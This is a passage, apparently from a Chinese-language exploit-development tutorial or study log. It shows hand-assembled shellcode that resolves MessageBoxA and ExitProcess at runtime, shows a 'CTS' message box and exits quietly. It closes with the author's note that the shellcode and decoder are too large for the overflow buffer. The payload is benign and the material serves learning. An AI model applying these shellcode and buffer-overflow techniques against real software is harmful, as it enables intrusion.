_emit ’2’
_emit ’.’
_emit ’d’
_emit ’l’
_emit ’l’
_emit 0
l1:
call uLoadLibrary
mov uLibHandle,eax
call l2
_emit ’M’
_emit ’e’
_emit ’s’
_emit ’s’
_emit ’a’
_emit ’g’
_emit ’e’
_emit ’B’
_emit ’o’
_emit ’x’
_emit ’A’
_emit 0
l2:
push uLibHandle
call uGetProcAddress
push MB_OK | MB_ICONINFORMATION
call l3
_emit ’C’
_emit ’T’
_emit ’S’
_emit 0
l3:
call l4
_emit ’A’
_emit ’n’
_emit ’C’
_emit ’u’
_emit ’i’
_emit 0
l4:
push NULL
call eax
call l5 //我添加的安静退出程序的代码 ①开始
_emit ’E’ //调用ExitProcess
_emit ’x’
_emit ’i’
_emit ’t’
_emit ’P’
_emit ’r’
_emit ’o’
_emit ’c’
_emit ’e’
_emit ’s’
_emit ’s’
_emit 0
l5:
push uLibHandle
call uGetProcAddress
push NULL
call eax //①结束
/////////////////////////// //shellcode结束标记,方便截取shellcode
//signature of ShellcodeEnd
_emit ’S’
_emit ’h’
_emit ’e’
_emit ’l’
_emit ’l’
_emit ’c’
_emit ’o’
_emit ’d’
_emit ’e’
_emit ’E’
_emit ’n’
_emit ’d’
//////////////////////////////
}
}
其中红色的代码是我做的修改。
修改的目的是显示标题为CTS,内容为CTS.AnCui的消息框,并且安静退出程序(ExitProcess)。
但是这个时候问题来了,缓冲区总长度为512个字节,可利用的长度为(512-200-4)=308个字节。
而shellcode和解密部分的加起来要有333个字节,不够了!!!